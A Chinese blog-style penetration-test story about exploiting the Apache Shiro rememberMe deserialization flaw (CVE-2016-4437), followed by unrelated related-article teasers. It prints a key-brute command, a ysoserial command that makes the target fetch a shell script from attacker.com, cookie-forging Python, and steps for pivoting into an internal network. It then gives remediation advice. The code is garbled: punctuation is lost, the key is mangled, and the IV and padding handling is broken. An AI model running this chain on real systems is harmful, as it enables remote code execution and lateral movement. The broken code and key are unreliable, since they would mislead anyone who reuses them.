当前位置: 首页 > article >正文

从一次内部攻防演练讲起:我是如何用Shiro反序列化漏洞(CVE-2016-4437)拿下内网机器的

从一次内部攻防演练看Shiro反序列化漏洞的实战利用那是一个普通的周三下午我正喝着咖啡准备开始当天的安全评估工作。作为企业内网渗透测试团队的一员这次的任务是对公司新上线的Java Web应用进行安全测试。没想到这次看似常规的评估却让我发现了一个潜伏在系统中的定时炸弹——Apache Shiro反序列化漏洞(CVE-2016-4437)。1. 漏洞发现与初步验证当我像往常一样使用Burp Suite对目标系统进行扫描时一个异常的响应引起了我的注意。在登录页面的HTTP响应头中赫然出现了Set-Cookie: rememberMedeleteMe的字段。这个特征立即触发了我的职业敏感——这很可能是Shiro框架的标志性特征。为了确认这一发现我迅速构造了一个测试请求POST /login HTTP/1.1 Host: target.com Cookie: rememberMetest当服务器再次返回rememberMedeleteMe时我几乎可以确定目标系统使用了存在漏洞的Shiro版本。接下来需要验证的是系统是否使用了默认密钥。2. 密钥爆破与漏洞确认Shiro反序列化漏洞的核心在于加密密钥。如果系统使用了默认密钥或弱密钥攻击者就可以构造恶意的rememberMe cookie来执行任意命令。我决定使用shiro_attack工具进行密钥爆破python3 shiro_attack.py -u http://target.com/login -v工具很快返回了结果——系统竟然使用了公开的默认密钥kPHbIxk5D2deZiIxcaaaA。这意味着漏洞利用的成功率将大大提高。注意在实际渗透测试中遇到非默认密钥的情况更为常见这时需要结合其他手段获取密钥或寻找其他攻击路径。3. 漏洞利用实战确认漏洞存在后我开始准备利用链。考虑到目标系统的环境我选择了CommonsBeanutils1作为gadget使用ysoserial生成payloadjava -jar ysoserial.jar CommonsBeanutils1 curl http://attacker.com/shell.sh -o /tmp/shell.sh payload.ser然后使用Python脚本将序列化数据加密为rememberMe cookieimport base64 from Crypto.Cipher import AES key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv b\x00*16 # 使用全零IV简化测试 cipher AES.new(key, AES.MODE_CBC, iv) with open(payload.ser, rb) as f: payload cipher.encrypt(f.read()) rememberMe base64.b64encode(payload).decode()将生成的rememberMe值放入请求cookie中发送后我立即检查了攻击服务器日志确认目标系统已经下载了我们的shell脚本。4. 权限提升与内网渗透获取初步立足点后我开始进行内网探测。通过执行ifconfig和netstat -tuln等命令我发现这台服务器还连接着多个内部系统。利用已获得的权限我上传了内网扫描工具chmod x /tmp/shell.sh /tmp/shell.sh # 后台运行内网扫描脚本扫描结果显示内网中存在多台未打补丁的Windows服务器。通过搭建Socks代理我成功将攻击面扩展到整个内网环境。5. 漏洞防御与修复建议这次演练暴露出几个严重问题过时的组件版本系统使用的Shiro版本低于1.2.4默认密钥风险使用了公开的默认加密密钥缺乏纵深防御内网系统间没有足够的隔离措施修复方案应当包括风险点修复措施实施难度Shiro版本升级到最新稳定版低加密密钥生成强随机密钥替换默认值中网络架构实施网络分段和访问控制高6. 渗透测试中的经验总结在这次演练中有几个关键点值得记录信息收集至关重要发现rememberMe特征是指向漏洞的关键线索工具链准备提前准备好ysoserial、shiro_attack等工具能节省大量时间利用链选择不同环境需要尝试不同的gadgetCommonsBeanutils1只是其中一种可能权限维持获得初始访问后要快速建立持久化通道实际渗透中遇到的挑战往往比实验室环境复杂得多。记得有一次遇到Shiro应用虽然存在漏洞特征但所有公开密钥都无法解密。后来通过分析应用代码发现开发人员对密钥进行了二次编码这种变种情况需要特别关注。

相关文章:

从一次内部攻防演练讲起:我是如何用Shiro反序列化漏洞(CVE-2016-4437)拿下内网机器的

从一次内部攻防演练看Shiro反序列化漏洞的实战利用 那是一个普通的周三下午,我正喝着咖啡准备开始当天的安全评估工作。作为企业内网渗透测试团队的一员,这次的任务是对公司新上线的Java Web应用进行安全测试。没想到这次看似常规的评估,却让…...

微软Phi-3与IBM Granite Code模型技术解析与应用

1. 微软Phi-3与IBM Granite Code模型深度解析上周在NVIDIA AI Foundation模型库中亮相的两大模型家族——微软Phi-3系列和IBM Granite Code系列,正在重新定义小型语言模型(SLM)的能力边界。作为从业者,我发现这些模型在保持轻量级架构的同时,…...

别再手动抠图了!用Python+Segment Anything(SAM)模型,5分钟搞定复杂图像分割

别再手动抠图了!用PythonSegment Anything(SAM)模型,5分钟搞定复杂图像分割 每次看到设计师同事在Photoshop里小心翼翼地沿着发丝边缘画路径,或是电商运营用在线工具反复调整抠图参数时,我总忍不住想——20…...

港科大DeepTech 21| 用于智能设施运营管理的协作与个性化数字孪生平台

用于智能设施运营管理的协作与个性化数字孪生平台 主要研究者:陈浩教授 技术成熟度:TRL 5 技术成熟度(Technology Readiness Level,TRL)是一个用来评估技术方案从概念阶段到实际应用阶段的成熟程度和风险水平的系统方法…...

别再死记公式了!用PyTorch手把手实现多头自注意力,从矩阵变换到完整分类器

从零实现多头自注意力:用PyTorch拆解Transformer核心模块 当第一次看到Transformer架构中的多头自注意力(Multi-head Self-Attention)时,那些复杂的矩阵运算和维度变换是否让你望而生畏?本文将通过代码实操带你穿透数学…...

别再只用XGBoost了!用PyTorch-Forecasting的TFT模型搞定销量预测(附完整代码避坑指南)

从XGBoost到TFT:销量预测的深度学习实战转型指南 当我们在电商大促前夜反复调整库存参数时,当零售门店经理对着忽高忽低的销售曲线皱眉时,一个精准的销量预测模型可能就是解开困局的金钥匙。过去五年间,XGBoost和LightGBM凭借其出…...

Phi-mini-MoE-instructDevOps实践:Docker镜像构建+K8s服务编排指南

Phi-mini-MoE-instructDevOps实践:Docker镜像构建K8s服务编排指南 1. 项目概述 Phi-mini-MoE-instruct是一款轻量级混合专家(MoE)指令型小语言模型,在多个基准测试中表现优异: 代码能力:在RepoQA、Human…...

【风格迁移】AdaAttN进阶:融合多尺度注意力与自适应归一化,实现高保真内容结构与风格细节的精准对齐

1. 从艺术创作痛点看AdaAttN的革新价值 想象你正试图将一张现代城市照片转换成莫奈的印象派风格。传统方法要么把建筑轮廓糊成一团色彩,要么生硬地套用笔触导致画面失真——这正是风格迁移领域长期存在的"细节丢失"与"结构失真"双难题。我在实际…...

终极免费电话号码定位系统:一键快速查询手机号精准位置

终极免费电话号码定位系统:一键快速查询手机号精准位置 【免费下载链接】location-to-phone-number This a project to search a location of a specified phone number, and locate the map to the phone number location. 项目地址: https://gitcode.com/gh_mir…...

当ArcSWAT遇上Windows 11/10:那些因系统环境导致的诡异报错与根治方案(.NET/权限/数据库)

ArcSWAT在Windows 11/10环境下的系统级故障排查指南 当水文建模专家在新一代操作系统上运行ArcSWAT时,常常会遇到一系列令人困惑的系统级报错。这些错误往往与软件本身无关,而是现代Windows系统环境与传统建模工具之间的兼容性问题。本文将深入剖析这些&…...

别再只怪驱动了!树莓派Pico设备管理器报错的另类原因与官方恢复固件使用教程

树莓派Pico设备管理器报错的深层诊断与固件级修复指南 当树莓派Pico突然从设备管理器中消失,大多数开发者会本能地怀疑驱动问题。但真实情况往往更加复杂——一段失控的MicroPython代码可能已经改写了硬件的底层状态,而常规的重置操作对此完全无效。本文…...

智慧树刷课插件终极指南:三步实现自动播放与智能学习

智慧树刷课插件终极指南:三步实现自动播放与智能学习 【免费下载链接】zhihuishu 智慧树刷课插件,自动播放下一集、1.5倍速度、无声 项目地址: https://gitcode.com/gh_mirrors/zh/zhihuishu 智慧树刷课插件是一款专为智慧树在线学习平台设计的Ch…...

HTML函数调试需要高性能电脑吗_调试环境硬件需求技巧【指南】

HTML调试不依赖高性能电脑,瓶颈多来自冗余操作和配置不当;关掉VS Code的HTML5补全、浏览器Network截图及非必需扩展即可显著提速。HTML调试根本不需要高性能电脑日常写HTML、改样式、调交互,用的全是浏览器自带的开发者工具,CPU和…...

Keras实现一维生成对抗网络(1D GAN)实战指南

1. 从零构建一维生成对抗网络的核心价值第一次接触GAN时,我被它生成逼真图像的能力震撼。但当我真正尝试用GAN处理一维时序数据时,才发现这个领域存在明显的资源断层——大多数教程都集中在二维图像生成,而实际业务中传感器数据、音频波形、金…...

别再只盯着EOC中断了!聊聊STM32 ADC模拟看门狗在电机控制中的妙用

别再只盯着EOC中断了!聊聊STM32 ADC模拟看门狗在电机控制中的妙用 电机控制系统中,电流监测的实时性和可靠性直接关系到硬件安全和系统稳定性。当大家都在讨论EOC中断时,ADC的模拟看门狗(Analog Watchdog)功能却常常被…...

C++26 Contracts正式落地:从Clang 19/MSVC 2026 Preview到GCC 14.3,三编译器兼容性避坑清单(附自动契约注入脚本)

更多请点击: https://intelliparadigm.com 第一章:C26 Contracts正式落地:从Clang 19/MSVC 2026 Preview到GCC 14.3,三编译器兼容性避坑清单(附自动契约注入脚本) C26 Contracts 已在 ISO WG21 最新草案中…...

从‘马拉车’到‘回文中心’:图解Manacher算法,让晦涩概念一目了然

从‘马拉车’到‘回文中心’:图解Manacher算法,让晦涩概念一目了然 第一次接触回文串问题时,大多数人会本能地想到中心扩展法——从每个字符向两侧扫描,直到发现不对称的字符为止。这种方法简单直接,但当处理长字符串时…...

含光伏接入的14节点配网储能选址定容模型优化——基于改进粒子群算法的程序实现

含光伏的储能选址定容模型 14节点 程序采用改进粒子群算法,对分析14节点配网系统中的储能选址定容方案,并得到储能的出力情况,有相关参考资料 这段程序是一个粒子群算法(Particle Swarm Optimization, PSO)的实现&…...

从David Marr的视觉计算理论,聊聊为什么你的CV模型总感觉“差点意思”

从David Marr的视觉计算理论看现代CV模型的认知鸿沟 当你盯着监控画面里误将树影识别为行人的AI系统,或是看着医疗影像分析模型对轻微噪点就产生误诊时,是否思考过:为什么这些在测试集上表现优异的模型,面对真实世界却总显得"…...

避开STM32硬件I2C的坑:我是如何用模拟SMBus稳定驱动BQ4050的

避开STM32硬件I2C的坑:我是如何用模拟SMBus稳定驱动BQ4050的 在嵌入式开发中,与BQ4050这类智能电池管理芯片通信是许多项目的关键环节。作为一名长期与STM32打交道的工程师,我曾天真地认为硬件I2C外设是连接BQ4050的最佳选择——直到现实给了…...

从一根烧掉的射频功放管说起:聊聊阻抗不匹配的‘血泪史’与Smith圆图避坑指南

从一根烧掉的射频功放管说起:聊聊阻抗不匹配的‘血泪史’与Smith圆图避坑指南 那是一个周五的深夜,实验室里弥漫着焦糊味。当我盯着示波器上消失的信号波形,拆开散热器看到发黑的功放管时,才真正理解教科书上那句"阻抗匹配是…...

DamaiHelper终极指南:如何用Python+Selenium实现大麦网抢票自动化300%效率提升

DamaiHelper终极指南:如何用PythonSelenium实现大麦网抢票自动化300%效率提升 【免费下载链接】DamaiHelper 大麦网演唱会演出抢票脚本。 项目地址: https://gitcode.com/gh_mirrors/dama/DamaiHelper 在热门演唱会、话剧和体育赛事门票开售的瞬间&#xff0…...

GPTeam多智能体框架:构建AI协作团队的技术实践

1. 项目概述:当AI学会“组队”与“协作”最近在AI应用开发圈里,一个名为“GPTeam”的开源项目引起了我的注意。它不是一个单一的AI模型,而是一个模拟人类团队协作的“多智能体”框架。简单来说,GPTeam让你可以创建多个拥有不同角色…...

从libgtk-3.so.0到libasound.so.2:一站式解决Playwright浏览器自动化依赖缺失难题

1. 当Playwright遇上缺失的依赖库:一个真实案例 上周我在阿里云ECS上部署一个爬虫项目时,遇到了这样的错误提示: Host system is missing dependencies to run browsers. Missing libraries: libgtk-3.so.0 libasound.so.2 libXtst.so.6这种情…...

基于Claude大语言模型构建智能用户评论分析系统:架构、Prompt工程与实战

1. 项目概述:一个基于Claude的智能评论分析引擎最近在折腾一个挺有意思的项目,名字叫“claude-reviews-claude”。乍一看这名字有点绕,像是套娃,但它的核心思路其实非常清晰:利用Claude大语言模型的能力,去…...

QtCreator+CMake+Ninja:跨平台C++开发环境高效搭建指南

1. 为什么选择QtCreatorCMakeNinja组合? 如果你正在开发跨平台的C应用程序,那么QtCreatorCMakeNinja这个组合绝对值得一试。作为一个长期使用这套工具链的开发者,我发现它完美解决了传统构建方式中的几个痛点:编译速度慢、配置复杂…...

2026 论文写作软件红黑榜:AI 论文写作软件怎么选?用数据说话!

2026 年论文写作工具红榜榜单正式发布,掌桥科研 AI 写作、ThouPen、豆包因深度贴合国内学术标准,位列红榜前列。黑榜则提醒大家远离劣质免费工具、无真实文献引用平台以及过度主打全文生成的 AI 软件。挑选时可参考三大核心维度:需求契合度、…...

Android 刷机

Android 刷机TWRP 使用adb sideload 线刷ROM的方法刷入TWRP异常处理:线刷流程:fastboot 刷入官方包刷机流程问题安装完成后无法获取root权限安装magisk并root网络问题wifi 无法使用:安装charler 证书代理证书问题关于权限问题的解决抓包异常排…...

C++26反射元编程落地三阶段路线图:从std::is_reflectable判断→编译期结构体遍历→运行时反射缓存,附可直接集成的CMake模块

更多请点击: https://intelliparadigm.com 第一章:C26反射特性在元编程中的应用对比评测报告 C26 正式引入基于 std::reflect 的静态反射核心设施,标志着元编程范式从模板元编程(TMP)和 constexpr 编程迈向声明式、可…...

【困难】邮局选址问题-Java:解法二

分享一个大牛的人工智能教程。零基础!通俗易懂!风趣幽默!希望你也加入到人工智能的队伍中来!请轻击人工智能教程大家好!欢迎来到我的网站! 人工智能被认为是一种拯救世界、终结世界的技术。毋庸置疑&#x…...